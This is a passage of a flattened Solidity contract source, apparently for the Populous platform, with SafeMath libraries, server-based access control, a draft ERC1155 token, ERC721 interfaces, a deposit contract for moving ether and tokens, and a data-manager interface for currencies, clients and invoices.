Safely subtracts one number from another * @dev Ensures that the number to subtract is lower. * @param a The first number. * @param b The second number. * @return uint The expected result. */ function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } /** @dev Safely adds two unsigned/non-negative integers. * @dev Ensures that the sum of both numbers is greater or equal to one of both. * @param a The first number. * @param b The second number. * @return uint The expected result. */ function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } // File: contracts/AccessManager.sol /// @title AccessManager contract contract AccessManager { // FIELDS // fields that can be changed by constructor and functions address public server; // Address, which the platform website uses. address public populous; // Address of the Populous bank contract. // NON-CONSTANT METHODS /** @dev Constructor that sets the server when contract is deployed. * @param _server The address to set as the server. */ function AccessManager(address _server) public { server = _server; //guardian = _guardian; } /** @dev Changes the server address that is set by the constructor. * @dev The method requires the message sender to be the set server. * @param _server The new address to be set as the server. */ function changeServer(address _server) public { require(isServer(msg.sender) == true); server = _server; } /** @dev Changes the guardian address that is set by the constructor. * @dev The method requires the message sender to be the set guardian. */ /* function changeGuardian(address _guardian) public { require(isGuardian(msg.sender) == true); guardian = _guardian; } */ /** @dev Changes the populous contract address. * @dev The method requires the message sender to be the set server. * @param _populous The address to be set as populous. */ function changePopulous(address _populous) public { require(isServer(msg.sender) == true); populous = _populous; } // CONSTANT METHODS /** @dev Checks a given address to determine whether it is the server. * @param sender The address to be checked. * @return bool returns true or false is the address corresponds to the server or not. */ function isServer(address sender) public view returns (bool) { return sender == server; } /** @dev Checks a given address to determine whether it is the guardian. * @param sender The address to be checked. * @return bool returns true or false is the address corresponds to the guardian or not. */ /* function isGuardian(address sender) public view returns (bool) { return sender == guardian; } */ /** @dev Checks a given address to determine whether it is populous address. * @param sender The address to be checked. * @return bool returns true or false is the address corresponds to populous or not. */ function isPopulous(address sender) public view returns (bool) { return sender == populous; } } // File: contracts/withAccessManager.sol /// @title withAccessManager contract contract withAccessManager { // FIELDS AccessManager public AM; // MODIFIERS // This modifier uses the isServer method in the AccessManager contract AM to determine // whether the msg.sender address is server. modifier onlyServer { require(AM.isServer(msg.sender) == true); _; } modifier onlyServerOrOnlyPopulous { require(AM.isServer(msg.sender) == true || AM.isPopulous(msg.sender) == true); _; } // This modifier uses the isGuardian method in the AccessManager contract AM to determine // whether the msg.sender address is guardian. /* modifier onlyGuardian { require(AM.isGuardian(msg.sender) == true); _; } */ // This modifier uses the isPopulous method in the AccessManager contract AM to determine // whether the msg.sender address is populous. modifier onlyPopulous { require(AM.isPopulous(msg.sender) == true); _; } // NON-CONSTANT METHODS /** @dev Sets the AccessManager contract address while deploying this contract`. * @param _accessManager The address to set. */ function withAccessManager(address _accessManager) public { AM = AccessManager(_accessManager); } /** @dev Updates the AccessManager contract address if msg.sender is guardian. * @param _accessManager The address to set. */ function updateAccessManager(address _accessManager) public onlyServer { AM = AccessManager(_accessManager); } } // File: contracts/ERC1155SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library ERC1155SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/Address.sol /** * Utility library of inline functions on addresses */ library Address { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // File: contracts/IERC1155.sol /// @dev Note: the ERC-165 identifier for this interface is 0xf23a6e61. interface IERC1155TokenReceiver { /// @notice Handle the receipt of an ERC1155 type /// @dev The smart contract calls this function on the recipient /// after a `safeTransfer`. This function MAY throw to revert and reject the /// transfer. Return of other than the magic value MUST result in the /// transaction being reverted. /// Note: the contract address is always the message sender. /// @param _operator The address which called `safeTransferFrom` function /// @param _from The address which previously owned the token /// @param _id The identifier of the item being transferred /// @param _value The amount of the item being transferred /// @param _data Additional data with no specified format /// @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` /// unless throwing function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes _data) external returns(bytes4); } interface IERC1155 { event Approval(address indexed _owner, address indexed _spender, uint256 indexed _id, uint256 _oldValue, uint256 _value); event Transfer(address _spender, address indexed _from, address indexed _to, uint256 indexed _id, uint256 _value); function transferFrom(address _from, address _to, uint256 _id, uint256 _value) external; function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes _data) external; function approve(address _spender, uint256 _id, uint256 _currentValue, uint256 _value) external; function balanceOf(uint256 _id, address _owner) external view returns (uint256); function allowance(uint256 _id, address _owner, address _spender) external view returns (uint256); } interface IERC1155Extended { function transfer(address _to, uint256 _id, uint256 _value) external; function safeTransfer(address _to, uint256 _id, uint256 _value, bytes _data) external; } interface IERC1155BatchTransfer { function batchTransferFrom(address _from, address _to, uint256[] _ids, uint256[] _values) external; function safeBatchTransferFrom(address _from, address _to, uint256[] _ids, uint256[] _values, bytes _data) external; function batchApprove(address _spender, uint256[] _ids, uint256[] _currentValues, uint256[] _values) external; } interface IERC1155BatchTransferExtended { function batchTransfer(address _to, uint256[] _ids, uint256[] _values) external; function safeBatchTransfer(address _to, uint256[] _ids, uint256[] _values, bytes _data) external; } interface IERC1155Operators { event OperatorApproval(address indexed _owner, address indexed _operator, uint256 indexed _id, bool _approved); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); function setApproval(address _operator, uint256[] _ids, bool _approved) external; function isApproved(address _owner, address _operator, uint256 _id) external view returns (bool); function setApprovalForAll(address _operator, bool _approved) external; function isApprovedForAll(address _owner, address _operator) external view returns (bool isOperator); } interface IERC1155Views { function totalSupply(uint256 _id) external view returns (uint256); function name(uint256 _id) external view returns (string); function symbol(uint256 _id) external view returns (string); function decimals(uint256 _id) external view returns (uint8); function uri(uint256 _id) external view returns (string); } // File: contracts/ERC1155.sol contract ERC1155 is IERC1155, IERC1155Extended, IERC1155BatchTransfer, IERC1155BatchTransferExtended { using ERC1155SafeMath for uint256; using Address for address; // Variables struct Items { string name; uint256 totalSupply; mapping (address => uint256) balances; } mapping (uint256 => uint8) public decimals; mapping (uint256 => string) public symbols; mapping (uint256 => mapping(address => mapping(address => uint256))) public allowances; mapping (uint256 => Items) public items; mapping (uint256 => string) public metadataURIs; bytes4 constant private ERC1155_RECEIVED = 0xf23a6e61; /////////////////////////////////////////// IERC1155 ////////////////////////////////////////////// // Events event Approval(address indexed _owner, address indexed _spender, uint256 indexed _id, uint256 _oldValue, uint256 _value); event Transfer(address _spender, address indexed _from, address indexed _to, uint256 indexed _id, uint256 _value); function transferFrom(address _from, address _to, uint256 _id, uint256 _value) external { if(_from != msg.sender) { //require(allowances[_id][_from][msg.sender] >= _value); allowances[_id][_from][msg.sender] = allowances[_id][_from][msg.sender].sub(_value); } items[_id].balances[_from] = items[_id].balances[_from].sub(_value); items[_id].balances[_to] = _value.add(items[_id].balances[_to]); Transfer(msg.sender, _from, _to, _id, _value); } function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes _data) external { //this.transferFrom(_from, _to, _id, _value); // solium-disable-next-line arg-overflow require(_checkAndCallSafeTransfer(_from, _to, _id, _value, _data)); if(_from != msg.sender) { //require(allowances[_id][_from][msg.sender] >= _value); allowances[_id][_from][msg.sender] = allowances[_id][_from][msg.sender].sub(_value); } items[_id].balances[_from] = items[_id].balances[_from].sub(_value); items[_id].balances[_to] = _value.add(items[_id].balances[_to]); Transfer(msg.sender, _from, _to, _id, _value); } function approve(address _spender, uint256 _id, uint256 _currentValue, uint256 _value) external { // if the allowance isn't 0, it can only be updated to 0 to prevent an allowance change immediately after withdrawal require(_value == 0 || allowances[_id][msg.sender][_spender] == _currentValue); allowances[_id][msg.sender][_spender] = _value; Approval(msg.sender, _spender, _id, _currentValue, _value); } function balanceOf(uint256 _id, address _owner) external view returns (uint256) { return items[_id].balances[_owner]; } function allowance(uint256 _id, address _owner, address _spender) external view returns (uint256) { return allowances[_id][_owner][_spender]; } /////////////////////////////////////// IERC1155Extended ////////////////////////////////////////// function transfer(address _to, uint256 _id, uint256 _value) external { // Not needed. SafeMath will do the same check on .sub(_value) //require(_value <= items[_id].balances[msg.sender]); items[_id].balances[msg.sender] = items[_id].balances[msg.sender].sub(_value); items[_id].balances[_to] = _value.add(items[_id].balances[_to]); Transfer(msg.sender, msg.sender, _to, _id, _value); } function safeTransfer(address _to, uint256 _id, uint256 _value, bytes _data) external { //this.transfer(_to, _id, _value); // solium-disable-next-line arg-overflow require(_checkAndCallSafeTransfer(msg.sender, _to, _id, _value, _data)); items[_id].balances[msg.sender] = items[_id].balances[msg.sender].sub(_value); items[_id].balances[_to] = _value.add(items[_id].balances[_to]); Transfer(msg.sender, msg.sender, _to, _id, _value); } //////////////////////////////////// IERC1155BatchTransfer //////////////////////////////////////// function batchTransferFrom(address _from, address _to, uint256[] _ids, uint256[] _values) external { uint256 _id; uint256 _value; if(_from == msg.sender) { for (uint256 i = 0; i < _ids.length; ++i) { _id = _ids[i]; _value = _values[i]; items[_id].balances[_from] = items[_id].balances[_from].sub(_value); items[_id].balances[_to] = _value.add(items[_id].balances[_to]); Transfer(msg.sender, _from, _to, _id, _value); } } else { for (i = 0; i < _ids.length; ++i) { _id = _ids[i]; _value = _values[i]; allowances[_id][_from][msg.sender] = allowances[_id][_from][msg.sender].sub(_value); items[_id].balances[_from] = items[_id].balances[_from].sub(_value); items[_id].balances[_to] = _value.add(items[_id].balances[_to]); Transfer(msg.sender, _from, _to, _id, _value); } } } function safeBatchTransferFrom(address _from, address _to, uint256[] _ids, uint256[] _values, bytes _data) external { //this.batchTransferFrom(_from, _to, _ids, _values); for (uint256 i = 0; i < _ids.length; ++i) { // solium-disable-next-line arg-overflow require(_checkAndCallSafeTransfer(_from, _to, _ids[i], _values[i], _data)); } uint256 _id; uint256 _value; if(_from == msg.sender) { for (i = 0; i < _ids.length; ++i) { _id = _ids[i]; _value = _values[i]; items[_id].balances[_from] = items[_id].balances[_from].sub(_value); items[_id].balances[_to] = _value.add(items[_id].balances[_to]); Transfer(msg.sender, _from, _to, _id, _value); } } else { for (i = 0; i < _ids.length; ++i) { _id = _ids[i]; _value = _values[i]; allowances[_id][_from][msg.sender] = allowances[_id][_from][msg.sender].sub(_value); items[_id].balances[_from] = items[_id].balances[_from].sub(_value); items[_id].balances[_to] = _value.add(items[_id].balances[_to]); Transfer(msg.sender, _from, _to, _id, _value); } } } function batchApprove(address _spender, uint256[] _ids, uint256[] _currentValues, uint256[] _values) external { uint256 _id; uint256 _value; for (uint256 i = 0; i < _ids.length; ++i) { _id = _ids[i]; _value = _values[i]; require(_value == 0 || allowances[_id][msg.sender][_spender] == _currentValues[i]); allowances[_id][msg.sender][_spender] = _value; Approval(msg.sender, _spender, _id, _currentValues[i], _value); } } //////////////////////////////// IERC1155BatchTransferExtended //////////////////////////////////// function batchTransfer(address _to, uint256[] _ids, uint256[] _values) external { uint256 _id; uint256 _value; for (uint256 i = 0; i < _ids.length; ++i) { _id = _ids[i]; _value = _values[i]; items[_id].balances[msg.sender] = items[_id].balances[msg.sender].sub(_value); items[_id].balances[_to] = _value.add(items[_id].balances[_to]); Transfer(msg.sender, msg.sender, _to, _id, _value); } } function safeBatchTransfer(address _to, uint256[] _ids, uint256[] _values, bytes _data) external { //this.batchTransfer(_to, _ids, _values); for (uint256 i = 0; i < _ids.length; ++i) { // solium-disable-next-line arg-overflow require(_checkAndCallSafeTransfer(msg.sender, _to, _ids[i], _values[i], _data)); } uint256 _id; uint256 _value; for (i = 0; i < _ids.length; ++i) { _id = _ids[i]; _value = _values[i]; items[_id].balances[msg.sender] = items[_id].balances[msg.sender].sub(_value); items[_id].balances[_to] = _value.add(items[_id].balances[_to]); Transfer(msg.sender, msg.sender, _to, _id, _value); } } //////////////////////////////// IERC1155BatchTransferExtended //////////////////////////////////// // Optional meta data view Functions // consider multi-lingual support for name? function name(uint256 _id) external view returns (string) { return items[_id].name; } function symbol(uint256 _id) external view returns (string) { return symbols[_id]; } function decimals(uint256 _id) external view returns (uint8) { return decimals[_id]; } function totalSupply(uint256 _id) external view returns (uint256) { return items[_id].totalSupply; } function uri(uint256 _id) external view returns (string) { return metadataURIs[_id]; } ////////////////////////////////////////// OPTIONALS ////////////////////////////////////////////// function multicastTransfer(address[] _to, uint256[] _ids, uint256[] _values) external { for (uint256 i = 0; i < _to.length; ++i) { uint256 _id = _ids[i]; uint256 _value = _values[i]; address _dst = _to[i]; items[_id].balances[msg.sender] = items[_id].balances[msg.sender].sub(_value); items[_id].balances[_dst] = _value.add(items[_id].balances[_dst]); Transfer(msg.sender, msg.sender, _dst, _id, _value); } } function safeMulticastTransfer(address[] _to, uint256[] _ids, uint256[] _values, bytes _data) external { //this.multicastTransfer(_to, _ids, _values); for (uint256 i = 0; i < _ids.length; ++i) { // solium-disable-next-line arg-overflow require(_checkAndCallSafeTransfer(msg.sender, _to[i], _ids[i], _values[i], _data)); } for (i = 0; i < _to.length; ++i) { uint256 _id = _ids[i]; uint256 _value = _values[i]; address _dst = _to[i]; items[_id].balances[msg.sender] = items[_id].balances[msg.sender].sub(_value); items[_id].balances[_dst] = _value.add(items[_id].balances[_dst]); Transfer(msg.sender, msg.sender, _dst, _id, _value); } } ////////////////////////////////////////// INTERNAL ////////////////////////////////////////////// function _checkAndCallSafeTransfer( address _from, address _to, uint256 _id, uint256 _value, bytes _data ) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = IERC1155TokenReceiver(_to).onERC1155Received( msg.sender, _from, _id, _value, _data); return (retval == ERC1155_RECEIVED); } } // File: contracts/ERC165.sol /** * @title ERC165 * @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md */ interface ERC165 { /** * @notice Query if a contract implements an interface * @param _interfaceId The interface identifier, as specified in ERC-165 * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas. */ function supportsInterface(bytes4 _interfaceId) external view returns (bool); } // File: contracts/ERC721Basic.sol /** * @title ERC721 Non-Fungible Token Standard basic interface * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Basic is ERC165 { bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd; /* * 0x80ac58cd === * bytes4(keccak256('balanceOf(address)')) ^ * bytes4(keccak256('ownerOf(uint256)')) ^ * bytes4(keccak256('approve(address,uint256)')) ^ * bytes4(keccak256('getApproved(uint256)')) ^ * bytes4(keccak256('setApprovalForAll(address,bool)')) ^ * bytes4(keccak256('isApprovedForAll(address,address)')) ^ * bytes4(keccak256('transferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) */ bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79; /* * 0x4f558e79 === * bytes4(keccak256('exists(uint256)')) */ bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63; /** * 0x780e9d63 === * bytes4(keccak256('totalSupply()')) ^ * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^ * bytes4(keccak256('tokenByIndex(uint256)')) */ bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f; /** * 0x5b5e139f === * bytes4(keccak256('name()')) ^ * bytes4(keccak256('symbol()')) ^ * bytes4(keccak256('tokenURI(uint256)')) */ event Transfer( address indexed _from, address indexed _to, uint256 indexed _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 indexed _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public; } // File: contracts/DepositContract.sol /// @title DepositContract contract contract DepositContract is withAccessManager { bytes32 public clientId; // client ID. uint256 public version = 2; // EVENTS event EtherTransfer(address to, uint256 value); // NON-CONSTANT METHODS /** @dev Constructor that sets the _clientID when the contract is deployed. * @dev The method also sets the manager to the msg.sender. * @param _clientId A string of fixed length representing the client ID. */ function DepositContract(bytes32 _clientId, address accessManager) public withAccessManager(accessManager) { clientId = _clientId; } /** @dev Transfers an amount '_value' of tokens from msg.sender to '_to' address/wallet. * @param populousTokenContract The address of the ERC20 token contract which implements the transfer method. * @param _value the amount of tokens to transfer. * @param _to The address/wallet to send to. * @return success boolean true or false indicating whether the transfer was successful or not. */ function transfer(address populousTokenContract, address _to, uint256 _value) public onlyServerOrOnlyPopulous returns (bool success) { return iERC20Token(populousTokenContract).transfer(_to, _value); } /** @dev This function will transfer iERC1155 tokens */ function transferERC1155(address _erc1155Token, address _to, uint256 _id, uint256 _value) public onlyServerOrOnlyPopulous returns (bool success) { ERC1155(_erc1155Token).safeTransfer(_to, _id, _value, ""); return true; } /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safetransfer` if the recipient is a smart contract. This function MAY throw to revert and reject the * transfer. Return of other than the magic value (0x150b7a02) MUST result in the * transaction being reverted. * Note: the contract address is always the message sender. * @param _operator The address which called `safeTransferFrom` function * @param _from The address which previously owned the token * @param _tokenId The NFT identifier which is being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) public returns(bytes4) { return 0x150b7a02; } /// @notice Handle the receipt of an ERC1155 type /// @dev The smart contract calls this function on the recipient /// after a `safeTransfer`. This function MAY throw to revert and reject the /// transfer. Return of other than the magic value MUST result in the /// transaction being reverted. /// Note: the contract address is always the message sender. /// @param _operator The address which called `safeTransferFrom` function /// @param _from The address which previously owned the token /// @param _id The identifier of the item being transferred /// @param _value The amount of the item being transferred /// @param _data Additional data with no specified format /// @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` /// unless throwing function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes _data) public returns(bytes4) { return 0xf23a6e61; } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * * Requires the msg sender to be the owner, approved, or operator * @param erc721Token address of the erc721 token to target * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function transferERC721( address erc721Token, address _to, uint256 _tokenId ) public onlyServerOrOnlyPopulous returns (bool success) { // solium-disable-next-line arg-overflow ERC721Basic(erc721Token).safeTransferFrom(this, _to, _tokenId, ""); return true; } /** @dev Transfers ether from this contract to a specified wallet/address * @param _to An address implementing to send ether to. * @param _value The amount of ether to send in wei. * @return bool Successful or unsuccessful transfer */ function transferEther(address _to, uint256 _value) public onlyServerOrOnlyPopulous returns (bool success) { require(this.balance >= _value); require(_to.send(_value) == true); EtherTransfer(_to, _value); return true; } // payable function to allow this contract receive ether - for version 3 //function () public payable {} // CONSTANT METHODS /** @dev Returns the ether or token balance of the current contract instance using the ERC20 balanceOf method. * @param populousTokenContract An address implementing the ERC20 token standard. * @return uint An unsigned integer representing the returned token balance. */ function balanceOf(address populousTokenContract) public view returns (uint256) { // ether if (populousTokenContract == address(0)) { return address(this).balance; } else { // erc20 return iERC20Token(populousTokenContract).balanceOf(this); } } /** * @dev Gets the balance of the specified address * @param erc721Token address to erc721 token to target * @return uint256 representing the amount owned by the passed address */ function balanceOfERC721(address erc721Token) public view returns (uint256) { return ERC721Basic(erc721Token).balanceOf(this); // returns ownedTokensCount[_owner]; } /** * @dev Gets the balance of the specified address * @param _id the token id * @param erc1155Token address to erc1155 token to target * @return uint256 representing the amount owned by the passed address */ function balanceOfERC1155(address erc1155Token, uint256 _id) external view returns (uint256) { return ERC1155(erc1155Token).balanceOf(_id, this); } /** @dev Gets the version of this deposit contract * @return uint256 version */ function getVersion() public view returns (uint256) { return version; } // CONSTANT FUNCTIONS /** @dev This function gets the client ID or deposit contract owner * returns _clientId */ function getClientId() public view returns (bytes32 _clientId) { return clientId; } } // File: contracts/SafeMath.sol /// @title Overflow aware uint math functions. /// @notice Inspired by https://github.com/MakerDAO/maker-otc/blob/master/contracts/simple_market.sol library SafeMath { /** @dev Safely multiplies two unsigned/non-negative integers. * @dev Ensures that one of both numbers can be derived from dividing the product by the other. * @param a The first number. * @param b The second number. * @return uint The expected result. */ function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } /** @dev Safely subtracts one number from another * @dev Ensures that the number to subtract is lower. * @param a The first number. * @param b The second number. * @return uint The expected result. */ function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } /** @dev Safely adds two unsigned/non-negative integers. * @dev Ensures that the sum of both numbers is greater or equal to one of both. * @param a The first number. * @param b The second number. * @return uint The expected result. */ function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } // File: contracts/iDataManager.sol /// @title DataManager contract contract iDataManager { // FIELDS uint256 public version; // currency symbol => currency erc20 contract address mapping(bytes32 => address) public currencyAddresses; // currency address => currency symbol mapping(address => bytes32) public currencySymbols; // clientId => depositAddress mapping(bytes32 => address) public depositAddresses; // depositAddress => clientId mapping(address => bytes32) public depositClientIds; // blockchainActionId => boolean mapping(bytes32 => bool) public actionStatus; // blockchainActionData struct actionData { bytes32 currency; uint amount; bytes32 accountId; address to; uint pptFee; } // blockchainActionId => actionData mapping(bytes32 => actionData) public blockchainActionIdData; //actionId => invoiceId mapping(bytes32 => bytes32) public actionIdToInvoiceId; // invoice provider company data struct providerCompany { //bool isEnabled; bytes32 companyNumber; bytes32 companyName; bytes2 countryCode; } // companyCode => companyNumber => providerId mapping(bytes2 => mapping(bytes32 => bytes32)) public providerData; // providedId => providerCompany mapping(bytes32 => providerCompany) public providerCompanyData; // crowdsale invoiceDetails struct _invoiceDetails { bytes2 invoiceCountryCode; bytes32 invoiceCompanyNumber; bytes32 invoiceCompanyName; bytes32 invoiceNumber; } // crowdsale invoiceData struct invoiceData { bytes32 providerUserId; bytes32 invoiceCompanyName; } // country code => company number => invoice number => invoice data mapping(bytes2 => mapping(bytes32 => mapping(bytes32 => invoiceData))) public invoices; // NON-CONSTANT METHODS /** @dev Adds a new deposit smart contract address linked to a client id * @param _depositAddress the deposit smart contract address * @param _clientId the client id * @return success true/false denoting successful function call */ function setDepositAddress(bytes32 _blockchainActionId, address _depositAddress, bytes32 _clientId) public returns (bool success); /** @dev Adds a new currency sumbol and smart contract address * @param _currencyAddress the currency smart contract address * @param _currencySymbol the currency symbol * @return success true/false denoting successful function call */ function setCurrency(bytes32 _blockchainActionId, address _currencyAddress, bytes32 _currencySymbol) public returns (bool success); /** @dev Updates a currency sumbol and smart contract address * @param _currencyAddress the currency smart contract address * @param _currencySymbol the currency symbol * @return success true/false denoting successful function call */ function _setCurrency(bytes32 _blockchainActionId, address _currencyAddress, bytes32 _currencySymbol) public returns (bool success); /** @dev set blockchain action data in struct * @param _blockchainActionId the blockchain action id * @param currency the token currency symbol * @param accountId the clientId * @param to the blockchain address or smart contract address used in the transaction * @param amount the amount of tokens in the transaction * @return success true/false denoting successful function call */ function setBlockchainActionData( bytes32 _blockchainActionId, bytes32 currency, uint amount, bytes32 accountId, address to, uint pptFee) public returns (bool success); /** @dev upgrade deposit address * @param _blockchainActionId the blockchain action id * @param _clientId the client id * @param _depositContract the deposit contract address for the client * @return success true/false denoting successful function call */ function upgradeDepositAddress(bytes32 _blockchainActionId, bytes32 _clientId, address _depositContract) public returns (bool success); /** @dev Updates a deposit address for client id * @param _blockchainActionId the blockchain action id * @param _clientId the client id * @param _depositContract the deposit contract address for the client * @return success true/false denoting successful function call */ function _setDepositAddress(bytes32 _blockchainActionId, bytes32 _clientId, address _depositContract) public returns (bool success); /** @dev Add a new invoice to the platform * @param _providerUserId the providers user id * @param _invoiceCountryCode the country code of the provider * @param _invoiceCompanyNumber the providers company number * @param _invoiceCompanyName the providers company name * @param _invoiceNumber the invoice number * @return success true or false if function call is successful */ function setInvoice( bytes32 _blockchainActionId, bytes32 _providerUserId, bytes2 _invoiceCountryCode, bytes32 _invoiceCompanyNumber, bytes32 _invoiceCompanyName, bytes32 _invoiceNumber) public returns (bool success); /** @dev Add a new invoice provider to the platform * @param _blockchainActionId the blockchain action id * @param _userId the user id of the provider * @param _companyNumber the providers company number * @param _companyName the providers company name * @param _countryCode the providers country code * @return success true or false if function call is successful */ function setProvider( bytes32 _blockchainActionId, bytes32 _userId, bytes32 _companyNumber, bytes32 _companyName, bytes2 _countryCode) public returns (bool success); /** @dev Update an added invoice provider to the platform * @param _blockchainActionId the blockchain action id * @param _userId the user id of the provider * @param _companyNumber the providers company number * @param _companyName the providers company name * @param _countryCode the providers country code * @return success true or false if function call is successful */ function _setProvider( bytes32 _blockchainActionId, bytes32 _userId, bytes32 _companyNumber, bytes32 _companyName, bytes2 _countryCode) public returns (bool success); // CONSTANT METHODS /** @dev Gets a deposit address with the client id * @return clientDepositAddress The client's deposit address */ function getDepositAddress(bytes32 _clientId) public view returns (address clientDepositAddress); /** @dev Gets a client id linked to a deposit address * @return depositClientId The client id */ function getClientIdWithDepositAddress(address _depositContract) public view returns (bytes32 depositClientId); /** @dev Gets a currency smart contract address * @return currencyAddress The currency address */ function getCurrency(bytes32 _currencySymbol) public view returns (address currencyAddress); /** @dev Gets a currency symbol given it's smart contract address * @return currencySymbol The currency symbol */ function getCurrencySymbol(address _currencyAddress) public view returns (bytes32 currencySymbol); /** @dev Gets details of a currency given it's smart contract address * @return _symbol The currency symbol * @return _name The currency name * @return _decimals The currency decimal places/precision */ function getCurrencyDetails(address _currencyAddress) public view returns (bytes32 _symbol, bytes32 _name, uint8 _decimals); /** @dev Get the blockchain action Id Data for a blockchain Action id * @param _blockchainActionId the blockchain action id * @return bytes32 currency * @return uint amount * @return bytes32 accountId * @return address to */ function getBlockchainActionIdData(bytes32 _blockchainActionId) public view returns (bytes32 _currency, uint _amount, bytes32 _accountId, address _to); /** @dev Get the bool status of a blockchain Action id * @param _blockchainActionId the blockchain action id * @return bool actionStatus */ function getActionStatus(bytes32 _blockchainActionId) public view returns (bool _blockchainActionStatus); /** @dev Gets the details of an invoice with the country code, company number and invocie number. * @param _invoiceCountryCode The country code. * @param _invoiceCompanyNumber The company number. * @param _invoiceNumber The invoice number * @return providerUserId The invoice provider user Id * @return invoiceCompanyName the invoice company name */ function getInvoice(bytes2 _invoiceCountryCode, bytes32 _invoiceCompanyNumber, bytes32 _invoiceNumber) public view returns (bytes32 providerUserId, bytes32 invoiceCompanyName); /** @dev Gets the details of an invoice provider with the country code and company number. * @param _providerCountryCode The country code. * @param _providerCompanyNumber The company number. * @return isEnabled The boolean value true/false indicating whether invoice provider is enabled or not * @return providerId The invoice provider user Id * @return companyName the invoice company name */ function getProviderByCountryCodeCompanyNumber(bytes2 _providerCountryCode, bytes32 _providerCompanyNumber) public view returns (bytes32 providerId, bytes32 companyName); /** @dev Gets the details of an invoice provider with the providers user Id. * @param _providerUserId The provider user Id. * @return countryCode The invoice provider country code * @return companyName the invoice company name */ function getProviderByUserId(bytes32 _providerUserId) public view returns (bytes2 countryCode, bytes32 companyName, bytes32 companyNumber); /** @dev Gets the version number for the current contract instance * @return _version The version number */ function getVersion() public view returns (uint256 _version); } // File: contracts/DataManager.sol /// @title DataManager contract contract DataManager is iDataManager, withAccessManager { // NON-CONSTANT METHODS /** @dev Constructor that sets the server when contract is deployed. * @param _accessManager The address to set as the access manager. */ function DataManager(address _accessManager, uint256 _version) public withAccessManager(_accessManager) { version = _version; } /** @dev Adds a new deposit smart contract address linked to a client id * @param _depositAddress the deposit smart contract address * @param _clientId the client id * @return success true/false denoting successful function call */ function setDepositAddress(bytes32 _blockchainActionId, address _depositAddress, bytes32 _clientId) public onlyServerOrOnlyPopulous returns (bool success) { 